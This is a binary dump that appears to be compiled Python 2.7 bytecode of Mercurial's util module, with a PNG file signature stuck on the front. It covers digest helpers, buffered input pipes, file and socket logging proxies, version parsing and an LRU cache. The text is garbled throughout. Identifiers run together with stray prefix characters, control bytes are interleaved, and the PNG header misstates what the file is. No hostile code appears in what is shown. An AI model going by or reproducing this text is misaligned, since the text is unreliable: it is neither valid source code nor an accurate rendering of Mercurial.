\x89\x50\x4E\x47\x0D\x0A\x1A\x0A PNG  \x89\x50\x4E\x47\x0D\x0A\x1A\x0A  13\c@@sdZddlmZmZddlZddlZddlZddlZddlZddl Z ddl Z ddl Z ddl Z ddl Z ddlZddlZddlZddlZddlZddlZddlZddlZddlZddlZddlmZddlmZddlmZm Z m!Z!m"Z#m$Z$m%Z%m&Z&ddl'm(Z(m)Z)e$j*d Z+e$j*d Z,e$j*d Z-e+j.Z.e+j/Z/e%j0Z0e%j1Z1e%j2Z2e%j3Z3e%j4Z4e%j5Z5e5Z6e%j7Z7e&j8Z8e&j9Z9e&j:Z:e%j;Z<e%j=r:dd lm>Zndd lm?Ze!j@Z@ejAZAejBZBejCZCejDZDejEZEejFZFejGZGejHZHejIZIejJZJejKZKejLZLe,jMZMejNZNejOZOejPZPejQZQejRZRejSZSejTZTejUZUejVZVejWZWejXZXejYZYejZZZej[Z[ej\Z\ej]Z]ej^Z^ej_Z_ej`Z`ejaZaejbZbejcZcede,dejeZeejfZfejgZgejhZhejiZiejjZjy e,jkZkWnelk rnXemZndZoepejqjrdZsesrfejtddeudejtddeudejtddeudnesore%jvrejtddeudejtddeudejtddeudnddZwie jxd6e jyd6e jzd6Z{dddgZ|x e|D]Z}e}e{kst~qWdemfdYZd emfd!YZy eZWn ek rtded"ZnXd#Zd$emfd%YZd&Zd'emfd(YZd)efd*YZd+d,d-d.d/d0d1d2d3d4d5d6h Zd7emfd8YZd9emfd:YZd;efd<YZeeeed=Zd>efd?YZeeeeed@ZdAZedBdCZdDZdEemfdFYZdGejfdHYZdIeefdJYZdKeefdLYZdMemfdNYZejedOZejdPZdQemfdRYZdSemfdTYZdUZdVemfdWYZdXZdYdZd[Zd\Zd]Zd^Ze%jrd_Znd`Ze(joededaedbkr e jje%jZne jje%jeZe!jedcZdddedfdgdhdidjdkdldmdndodph ZeeedqZeedrZdsdtdudvdwdxdydzd{d|d}d~ddddddddddhZdZdZe%j=reZejZnejZejZe3edr* ejZndZdZdZdZyddlZeaWnek r} eanXdemfdYZeZiZdZdZdZdZeedZdemfdYZdemfdYZeedZdZeedZdZdZdZdemfdYZdedZdemfdYZdZdZeddd>e@dfddd>e@dfddd>e@dfddd>e@dfddd>e@dfddd>e@dfddd>e@dfddd>e@dfddd>e@dfdde@df ZdemfdYZejdZdZdZdZe%jdkr eZeZeZne%jZe%jZe%jZejdko ejddfkrT ejdddBfkr< dZn d#dZdZn dZdZdZeedZdZdemfdYZdZdZdZdZdZdZedde@dfdde@dfdde@dfdde@dfdde@dfdde@dfdde@dfdde@dfdde@dfdde@dfdde@dfdde@dfdde@df ZejdemfdYZejdZde_dZdddfdddfdddfdddfdddfdddfddffZdZdemfdYZdddddZdde(je(jddZdemfdYZe3e-dre-jZndZdZdZejddddfZdemfdYZeZdemfdYZdemfdYZ de fdYZ de fdYZ d e fd YZ d e fd YZ d efdYZejedefdYZejedefdYZejedefdYZejedefdYZejedZejZeZedZdZdZdZdS(sMercurial utility functions and platform specific implementations. This contains helper routines that are independent of the SCM core and hide platform-specific details from the core. i(tabsolute_importtprint_functionNi(tattr(ttracing(tencodingterrorti18ntnodetpolicytpycompatt urllibcompat(tprocutilt stringutiltbase85tosutiltparsers(twindows(tposixt statfilescC@s%d}x|D]}||O}q W|S(Ni((t containertbitstbit((s4/usr/lib64/python2.7/site-packages/mercurial/util.pytbitsfroms tHGEMITWARNINGStdefaulttt mercurialthgextthgext3rdtignores bad escapesinvalid escape sequencesthe imp module is deprecatedcC@s;tr7|d|7}tjtj|t|dndS(sxIssue an python native deprecation warning This is a noop outside of tests, use 'ui.deprecwarn' when possible. sF (compatibility will be dropped after Mercurial-%s, update your code.)iN(t_dowarntwarningstwarnR tsysstrtDeprecationWarning(tmsgtversiont stacklevel((s4/usr/lib64/python2.7/site-packages/mercurial/util.pytnouideprecwarnstmd5tsha1tsha512tdigestercB@sDeZdZddZdZdZdZedZRS(shelper to compute digests. This helper can be used to compute one or more digests given their name. >>> d = digester([b'md5', b'sha1']) >>> d.update(b'foo') >>> [k for k in sorted(d)] ['md5', 'sha1'] >>> d[b'md5'] 'acbd18db4cc2f85cedef654fccc4a4d8' >>> d[b'sha1'] '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33' >>> digester.preferred([b'md5', b'sha1']) 'sha1' RcC@spi|_xJ|D]B}|tkr>tjtd|nt||j|t staticmethodRB(((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR*s    t digestcheckercB@s,eZdZdZddZdZRS(sfile handle wrapper that additionally checks content against a given size and digests. d = digestchecker(fh, size, {'md5': '...'}) When multiple digests are given, all of them are validated. cC@sF||_||_d|_t||_t|jj|_dS(Ni(t_fht_sizet_gottdictt_digestsR*tkeyst _digester(R0tfhtsizeR1((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR4s    icC@s;|jj|}|jj||jt|7_|S(N(RHtreadRNR/RJtlen(R0tlengthtcontent((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRQscC@s|j|jkr:tjtd|j|jfnx\|jjD]K\}}||j|krJtjtd|||j|fqJqJWdS(Ns"size mismatch: expected %d, got %ds %s mismatch: expected %s, got %s(RIRJRR-R.RLtitemsRN(R0R3tv((s4/usr/lib64/python2.7/site-packages/mercurial/util.pytvalidates(RCRDRER4RQRW(((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRGs  cC@s/|dk r!t||||!St||S(N(R@t memoryview(t sliceabletoffsetRS((s4/usr/lib64/python2.7/site-packages/mercurial/util.pytbuffers itbufferedinputpipecB@seZdZdZdZedZedZdZdZ dZ dZ d Z d Z ed ZRS( sWa manually buffered input pipe Python will not let us use buffered IO and lazy reading with 'polling' at the same time. We cannot probe the buffer state and select will not detect that data are ready to read if they are already buffered. This class let us work around that by implementing its own buffering (allowing efficient readline) while offering a way to know if the buffer is empty from the output (allowing collaboration of the buffer with polling). This class lives in the 'util' module because it makes use of the 'os' module from the python stdlib. cC@s.t|trt}ntt|j|S(N(t isinstancetfileobjectproxytobservedbufferedinputpipetsuperR\t__new__(tclsRO((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRa%s cC@s(||_g|_t|_d|_dS(Ni(t_inputt_buffertFalset_eoft_lenbuf(R0tinput((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR4-s   cC@s t|jS(sTrue is any data is currently buffered This will be used externally a pre-step for polling IO. If there is already data then no polling should be set in place.(tboolRd(R0((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyt hasbuffer3scC@s |jjS(N(Rctclosed(R0((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRk;scC@s |jjS(N(Rctfileno(R0((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRl?scC@s |jjS(N(Rctclose(R0((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRmBscC@s7x'|j r)|j|kr)|jqW|j|S(N(RfRgt _fillbuffert _frombuffer(R0RP((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRQEscC@sK|j r2|jdkr2|jt|tn|jt|j|S(Ni(RfRgRntmaxt _chunksizeRotmin(R0RP((s4/usr/lib64/python2.7/site-packages/mercurial/util.pytunbufferedreadJscO@st|jdkrFdj|jg|_t|jd|_nd}|jrn|jdjd}nxF|j r|dkr|j|jrq|jdjd}qqqqW|d}|dkr|j}n6t|jdkr||jt|jd7}n|j|S(NiRiis (RRRdtjoinRgtfindRfRnRo(R0targstkwargstlfiRP((s4/usr/lib64/python2.7/site-packages/mercurial/util.pytreadlineOs       !cC@s|dks|j rdS|jd}t|jdkrQdj|j}n|| }|t|}|r|g|_t||_ng|_d|_|S(sYreturn at most 'size' data from the buffer The data are removed from the buffer.iRi(RdRRRtRg(R0RPtbufR6((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRods     cC@sVtj|jj|}|s-t|_n%|jt|7_|jj ||S(sread data to the buffer( tosRQRcRltTrueRfRgRRRdtappend(R0RPR6((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRnxs  (RCRDRERaR4tpropertyRjRkRlRmRQRsRyRoRqRn(((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR\s         c@sry;tdfd}tj|ddtjSWn0tk rmtj|jdkrgdSnXdS(NRlc@sS(N(((tfp(s4/usr/lib64/python2.7/site-packages/mercurial/util.pytsitaccessR(tgetattrtmmapt ACCESS_READt ValueErrorR{tfstattst_size(Rtfd((Rs4/usr/lib64/python2.7/site-packages/mercurial/util.pytmmapreads R^cB@seZdZdZdZdZdZeZdZdZ dZ d Z d Z d Z d Zd ZdZdZdZdZdZdZdZdZdZdZdZdZdZdZdZRS(sA proxy around file objects that tells a watcher when events occur. This type is intended to only be used for testing purposes. Think hard before using it in important code. t_origt _observercC@s*tj|d|tj|d|dS(NRR(tobjectt __setattr__(R0ROtobserver((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR4scC@swddddddddd d d d d dddddddh}||kr^tj||Sttj|d|S(NRRmRltflushtisattytreadableRyt readlinestseektseekablettellttruncatetwritablet writelinesRQtreadalltreadintotwritetdetachtread1R(Rt__getattribute__R(R0tnametours((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRs.  cC@sttj|dS(NR(RiRR(R0((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyt __nonzero__scC@sttj|d|S(NR(tdelattrRR(R0R((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyt __delattr__scC@sttj|d||S(NR(tsetattrRR(R0Rtvalue((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRscC@stj|djS(NR(RRR>(R0((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR>scO@sktj|d}t||||}tj|d}t||d}|rg||||n|S(NRR(RRRR@(R0RRvRwtorigtresRtfn((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyt _observedcallscO@stj|dd||S(NRRm(RR(R0RvRw((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRmscO@stj|dd||S(NRRl(RR(R0RvRw((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRlscO@stj|dd||S(NRR(RR(R0RvRw((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRscO@stj|dd||S(NRR(RR(R0RvRw((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRscO@stj|dd||S(NRR(RR(R0RvRw((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRscO@stj|dd||S(NRRy(RR(R0RvRw((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRyscO@stj|dd||S(NRR(RR(R0RvRw((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRscO@stj|dd||S(NRR(RR(R0RvRw((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRscO@stj|dd||S(NRR(RR(R0RvRw((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRscO@stj|dd||S(NRR(RR(R0RvRw((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRscO@stj|dd||S(NRR(RR(R0RvRw((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRscO@stj|dd||S(NRR(RR(R0RvRw((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR scO@stj|dd||S(NRR(RR(R0RvRw((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRscO@stj|dd||S(NRRQ(RR(R0RvRw((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRQscO@stj|dd||S(NRR(RR(R0RvRw((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRscO@stj|dd||S(NRR(RR(R0RvRw((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRscO@stj|dd||S(NRR(RR(R0RvRw((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR scO@stj|dd||S(NRR(RR(R0RvRw((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR$scO@stj|dd||S(NRR(RR(R0RvRw((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR(s(RR(RCRDREt __slots__R4RRt__bool__RRR>RRmRlRRRRyRRRRRRRRQRRRRR(((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR^s<  '                       R_cB@s)eZdZdZdZdZRS(sA variation of bufferedinputpipe that is aware of fileobjectproxy. ``bufferedinputpipe`` makes low-level calls to ``os.read()`` that bypass ``fileobjectproxy``. Because of this, we need to make ``bufferedinputpipe`` aware of these operations. This variation of ``bufferedinputpipe`` can notify observers about ``os.read()`` events. It also re-publishes other events, such as ``read()`` and ``readline()``. cC@sGtt|j}t|jjdd}|rC||tn|S(Ntosread(R`R_RnRRcRR@Rq(R0RR((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRn7s cC@sJtt|j|}t|jjdd}|rF|||n|S(Nt bufferedread(R`R_RQRRcRR@(R0RPRR((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRQBs cO@sJtt|j||}t|jjdd}|rF||n|S(Ntbufferedreadline(R`R_RyRRcRR@(R0RvRwRR((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRyKs  (RCRDRERnRQRy(((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR_,s  tmakefiletrecvtrecvfromt recvfrom_intot recv_intotsendtsendalltsendtot setblockingt settimeoutt gettimeoutt setsockoptt socketproxycB@seZdZdZdZdZdZdZdZeZ dZ d Z d Z d Z d Zd ZdZdZdZdZdZdZdZRS(sA proxy around a socket that tells a watcher when events occur. This is like ``fileobjectproxy`` except for sockets. This type is intended to only be used for testing purposes. Think hard before using it in important code. RRcC@s*tj|d|tj|d|dS(NRR(RR(R0tsockR((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR4pscC@s5|tkrtj||Sttj|d|S(NR(tPROXIED_SOCKET_METHODSRRR(R0R((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRts cC@sttj|d|S(NR(RRR(R0R((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRzscC@sttj|d||S(NR(RRR(R0RR((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR}scC@sttj|dS(NR(RiRR(R0((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRscO@sktj|d}t||||}tj|d}t||d}|rg||||n|S(NRR(RRRR@(R0RRvRwRRRR((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRsc O@sjtj|dd||}tj|d}t|j||jd|jd|jd|jd|jS(NRRRtreadstwritestlogdatat logdataapis( RRtmakeloggingfileobjectRORRRRR(R0RvRwRR((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRs   cO@stj|dd||S(NRR(RR(R0RvRw((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRscO@stj|dd||S(NRR(RR(R0RvRw((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRscO@stj|dd||S(NRR(RR(R0RvRw((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRscO@stj|dd||S(NRt recv_info(RR(R0RvRw((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRscO@stj|dd||S(NRR(RR(R0RvRw((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRscO@stj|dd||S(NRR(RR(R0RvRw((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRscO@stj|dd||S(NRR(RR(R0RvRw((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRscO@stj|dd||S(NRR(RR(R0RvRw((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRscO@stj|dd||S(NRR(RR(R0RvRw((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRscO@stj|dd||S(NRR(RR(R0RvRw((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRscO@stj|dd||S(NRR(RR(R0RvRw((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRs(RR(RCRDRERR4RRRRRRRRRRRRRRRRRR(((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRcs,                tbaseproxyobservercB@seZdZRS(cC@s|js6|jr2|jjd|jjndSd|kr|jrk|jjdtj|n&|jjd|jtj|f|jjdS|jr|jjdn|jt }x4|D],}|jjd|jtj|fqW|jjdS(Ns s: %s s %s> %s s: ( RRRORRR t escapestrRt splitlinesR|(R0R6tlinestline((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyt _writedatas&          (RCRDR(((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRstfileobjectobservercB@sheZdZeeeedZddZddZdZdZ dZ dZ d Z RS( sLogs file object activity.cC@s:||_||_||_||_||_||_dS(N(RORRRRR(R0RORRRRR((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR4s      icC@s|js dS|dkr"d}n|dkr>|dkr>dS|jrp|jjd|j|t|fn|j|dS(NRis%s> read(%d) -> %d(RR@RRORRRRR(R0RRP((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRQs    )cC@sM|js dS|jr<|jjd|jt|fn|j|dS(Ns%s> readline() -> %d(RRRORRRRR(R0Rtlimit((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRys   &cC@so|js dS|jr?|jjd|jt||fn|dk rX|d|!nd}|j|dS(Ns%s> readinto(%d) -> %riR(RRRORRRRR@R(R0RtdestR6((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRs  cC@sq|js dS|dkr.|r.t|}n|jr`|jjd|jt||fn|j|dS(Ns%s> write(%d) -> %r(RR@RRRRORRR(R0RR6((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRs  )cC@s.|js dS|jjd|j|fdS(Ns%s> flush() -> %r (RRORR(R0R((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR(s cC@sP|js dS|jr?|jjd|j|t|fn|j|dS(Ns%s> bufferedread(%d) -> %d(RRRORRRRR(R0RRP((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR/s    cC@sM|js dS|jr<|jjd|jt|fn|j|dS(Ns%s> bufferedreadline() -> %d(RRRORRRRR(R0R((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR9s    ( RCRDRER|ReR4RQRyRRRRR(((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRs      c C@s4t||d|d|d|d|}t||S(s.Turn a file object into a logging file object.RRRR(RR^(tloghRORRRRRR((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRCstsocketobservercB@seZdZeeeeedZdddZddZddZ ddZ dddZ ddZ dd Z dd Zd Zd Zd ZdZRS(sLogs socket activity.cC@sC||_||_||_||_||_||_||_dS(N(RORRRtstatesRR(R0RORRRRRR((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR4Ms      cC@s1|js dS|jjd|j||fdS(Ns%s> makefile(%r, %r) (RRORR(R0Rtmodetbufsize((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRWs  icC@sS|js dS|jrB|jjd|j||t|fn|j|dS(Ns%s> recv(%d, %d) -> %d(RRRORRRRR(R0RRPtflags((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR^s     cC@s[|js dS|jrF|jjd|j||t|dfn|j|ddS(Ns%s> recvfrom(%d, %d) -> %di(RRRORRRRR(R0RRPR((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRgs    $cC@s\|js dS|jr@|jjd|j|||dfn|j|d|d!dS(Ns%s> recvfrom_into(%d, %d) -> %di(RRRORRR(R0RRzRPR((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRqs    cC@sT|js dS|jr<|jjd|j|||fn|j|d|!dS(Ns%s> recv_into(%d, %d) -> %di(RRRORRR(R0RRzRPR((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR{s    cC@sM|js dS|jjd|jt||t|f|j|dS(Ns%s> send(%d, %d) -> %d(RRORRRRR(R0RR6R((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRs   #cC@sP|js dS|jr?|jjd|jt||fn|j|dS(Ns%s> sendall(%d, %d)(RRRORRRRR(R0RR6R((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRs    cC@sk|js dS|r|}nd}|jrZ|jjd|jt||||fn|j|dS(Nis%s> sendto(%d, %d, %r) -> %d(RRRORRRRR(R0RR6tflagsoraddresstaddressR((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRs    #cC@s.|js dS|jjd|j|fdS(Ns%s> setblocking(%r) (RRORR(R0Rtflag((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRs cC@s.|js dS|jjd|j|fdS(Ns%s> settimeout(%r) (RRORR(R0RR((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRs cC@s.|js dS|jjd|j|fdS(Ns%s> gettimeout() -> %f (RRORR(R0R((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRs cC@s7|js dS|jjd|j||||fdS(Ns!%s> setsockopt(%r, %r, %r) -> %r (RRORR(R0RtleveltoptnameR((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRs  N(RCRDRER|ReR4R@RRRRRRRRRRRR(((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRKs        c C@s:t||d|d|d|d|d|}t||S(s$Turn a socket into a logging socket.RRRRR(RR( RRORRRRRRR((s4/usr/lib64/python2.7/site-packages/mercurial/util.pytmakeloggingsockets  cC@s4yddlm}|jSWntk r/dSXdS(s(Return version information if available.i(t __version__tunknownN(RRR$t ImportError(R((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR$s   icC@sU|st}ntjd|}|s:d|}}n:|jdr^|j\}}n|jdd }}g}xC|jdD]2}y|jt|Wqt k rPqXqWx#t |dkr|jd qW|dkr|d|dfS|dkr)|d|d|dfS|dkrQ|d|d|d|fSd S( szParses a Mercurial version string into an N-tuple. The version string to be parsed is specified with the ``v`` argument. If it isn't defined, the current Mercurial version string will be parsed. ``n`` can be 2, 3, or 4. Here is how some version strings map to returned values: >>> v = b'3.6.1+190-df9b73d2d444' >>> versiontuple(v, 2) (3, 6) >>> versiontuple(v, 3) (3, 6, 1) >>> versiontuple(v, 4) (3, 6, 1, '190-df9b73d2d444') >>> versiontuple(b'3.6.1+190-df9b73d2d444+20151118') (3, 6, 1, '190-df9b73d2d444+20151118') >>> v = b'3.6' >>> versiontuple(v, 2) (3, 6) >>> versiontuple(v, 3) (3, 6, None) >>> versiontuple(v, 4) (3, 6, None, None) >>> v = b'3.9-rc' >>> versiontuple(v, 2) (3, 9) >>> versiontuple(v, 3) (3, 9, None) >>> versiontuple(v, 4) (3, 9, None, 'rc') >>> v = b'3.9-rc+2-02a8fea4289b' >>> versiontuple(v, 2) (3, 9) >>> versiontuple(v, 3) (3, 9, None) >>> versiontuple(v, 4) (3, 9, None, 'rc+2-02a8fea4289b') >>> versiontuple(b'4.6rc0') (4, 6, None, 'rc0') >>> versiontuple(b'4.6rc0+12-425d55e54f98') (4, 6, None, 'rc0+12-425d55e54f98') >>> versiontuple(b'.1.2.3') (None, None, None, '.1.2.3') >>> versiontuple(b'12.34..5') (12, 34, None, '..5') >>> versiontuple(b'1.2.3.4.5.6') (1, 2, 3, '.4.5.6') s(\d+(?:\.\d+){,2})[\+-]?(.*)Riit.iiiN( R$tremodtmatchtgrouptgroupsR@tsplitR}tintRRR(RVtntmtvpartstextratvintsti((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyt versiontuples,7      c@sqjjdkr.gfd}|Sijjdkr[fd}nfd}|S(s"cache the result of function callsic@s-tdkr%jndS(Ni(RRR}((tcachetfunc(s4/usr/lib64/python2.7/site-packages/mercurial/util.pytf(sic@s'|kr||>> d1 = sortdict([(b'a', 0), (b'b', 1)]) >>> d2 = d1.copy() >>> d2 sortdict([('a', 0), ('b', 1)]) >>> d2.update([(b'a', 2)]) >>> list(d2.keys()) # should still be in last-set order ['b', 'a'] cC@s3||kr||=ntt|j||dS(N(R`Rt __setitem__(R0R;R((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR[s  cC@sCt|tr|j}nx|D]\}}|||>> a = cowdict() >>> a is a.preparewrite() True >>> b = a.copy() >>> b is a True >>> c = b.copy() >>> c is a True >>> a = a.preparewrite() >>> b is a False >>> a is a.preparewrite() True >>> c = c.preparewrite() >>> b is c False >>> b is b.preparewrite() True (RCRDRE(((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRhst cowsortdictcB@seZdZRS(sZcopy-on-write sortdict Be sure to call d = d.preparewrite() before writing to d. (RCRDRE(((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRst transactionalcB@sMeZdZejZejdZejdZdZ dZ RS(sBBase class for making a transactional type into a context manager.cC@sdS(s$Successfully closes the transaction.N((R0((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRmscC@sdS(soMarks the end of the transaction. If the transaction has not been closed, it will be aborted. N((R0((s4/usr/lib64/python2.7/site-packages/mercurial/util.pytreleasescC@s|S(N((R0((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyt __enter__scC@s/z|dkr|jnWd|jXdS(N(R@RmR(R0texc_typetexc_valtexc_tb((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyt__exit__s ( RCRDREtabctABCMetat __metaclass__tabstractmethodRmRRR(((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyRs   cc@s\|sdVdSz;ydV|jWn!tjk rH|jnXWd|jXdS(sA context manager that closes the transaction on InterventionRequired If no transaction was provided, this simply runs the body and returns N(RmRtInterventionRequiredR(ttr((s4/usr/lib64/python2.7/site-packages/mercurial/util.pytacceptinterventions  cc@s dVdS(N((((s4/usr/lib64/python2.7/site-packages/mercurial/util.pytnullcontextmanagerst _lrucachenodecB@s&eZdZdZdZdZRS( sA node in a doubly linked list. Holds a reference to nodes on either side as well as a key-value pair for the dictionary entry. unextuprevukeyuvalueucostcC@s1d|_d|_t|_d|_d|_dS(Ni(R@tnexttprevt_notsetR;Rtcost(R0((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR4s     cC@st|_d|_d|_dS(sMark the node as emptied.iN(RR;R@RR(R0((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyt markemptys  (unextuprevukeyuvalueucost(RCRDRERR4R(((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR s t lrucachedictcB@seZdZddZdZdZdZdZddZdZ d Z dd Z d Z ddd Zd ZdZdZdZRS(sDict that caches most recent accesses and sets. The dict consists of an actual backing dict - indexed by original key - and a doubly linked circular list defining the order of entries in the cache. The head node is the newest entry in the cache. If the cache is full, we recycle head.prev and make it the new head. Cache accesses result in the node being moved to before the existing head and being marked as the new head node. Items in the cache can be inserted with an optional "cost" value. This is simply an integer that is specified by the caller. The cache can be queried for the total cost of all items presently in the cache. The cache can also define a maximum cost. If a cache insertion would cause the total cost of the cache to go beyond the maximum cost limit, nodes will be evicted to make room for the new code. This can be used to e.g. set a max memory limit and associate an estimated bytes size cost to each item in the cache. By default, no maximum cost is enforced. icC@sSi|_t|_}||_||_d|_||_d|_||_dS(Nii( t_cacheR t_headRR RItcapacityt totalcosttmaxcost(R0RpRthead((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR4s      cC@s t|jS(N(RRR(R0((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyt__len__scC@s ||jkS(N(R(R0R3((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyt __contains__scc@s>|j}x.tt|jD]}|jV|j}qWdS(N(RtrangeRRRR;R (R0RR((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR>s cC@s!|j|}|j||jS(N(Rt _movetoheadR(R0R3R((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR<s  cC@s0|jj|}|dk rx|j|j8_||_||_|j|7_|j||jrt|jndS|j |j kr|j }n |j j }|jtk r|j|j8_|j|j=n||_||_||_|j|7_||j|<||_ |jr,|jndS(s8Insert a new item in the cache with optional cost value.N(RtgetR@RRRRRt_enforcecostlimitRIRt _addcapacityRRR;R(R0R3RVRR((s4/usr/lib64/python2.7/site-packages/mercurial/util.pytinserts0             cC@s|j||dS(N(R (R0R3RV((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR'scC@sK|jj|}|j|j8_|j|j||j|_dS(N(RtpopRRRRR R(R0R3R((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyt __delitem__*s   cC@s*y|j|SWntk r%|SXdS(N(R<tKeyError(R0R3R((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR6s cC@sU|j}x8|jtk rC|j|j8_|j|j}q W|jjdS(N( RR;RRRRR Rtclear(R0R((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR$<s    cC@s|p |j}|p|j}t|d|}|jj}x+|jtkri||jk ri|j}q?WxEtt|j D].}|j |j|j d|j |j}qW|S(s8Create a new cache as a copy of the current one. By default, the new cache has the same capacity as the existing one. But, the cache capacity can be changed as part of performing the copy. Items in the copy have an insertion/access order matching this instance. RR( RRRRRR;RRRRRR RR(R0RRtresultRR((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyREs  !  cC@s~|js dS|jj}x|jtkr7|j}qW|j|j}}|j|j=|j|j8_|j||fS(suRemove the oldest item from the cache. Returns the (key, value) describing the removed cache entry. N( RRRR;RRRRR(R0RR;R((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyt popoldestds     cC@sg|j}|j|j_|j|j_|j|_|jj|_||j_||j_||_dS(sqMark a node as the newest, making it the new head. When a node is accessed, it becomes the freshest entry in the LRU list, which is denoted by self._head. Visually, let's make ``N`` the new head node (* denotes head): previous/oldest <-> head <-> next/next newest ----<->--- A* ---<->----- | | E <-> D <-> N <-> C <-> B To: ----<->--- N* ---<->----- | | E <-> D <-> C <-> B <-> A This requires the following moves: C.next = D (node.prev.next = node.next) D.prev = C (node.next.prev = node.prev) E.next = N (head.prev.next = node) N.prev = E (node.prev = head.prev) N.next = A (node.next = head) A.prev = N (head.prev = node) N(RR R(R0RR((s4/usr/lib64/python2.7/site-packages/mercurial/util.pyR{s    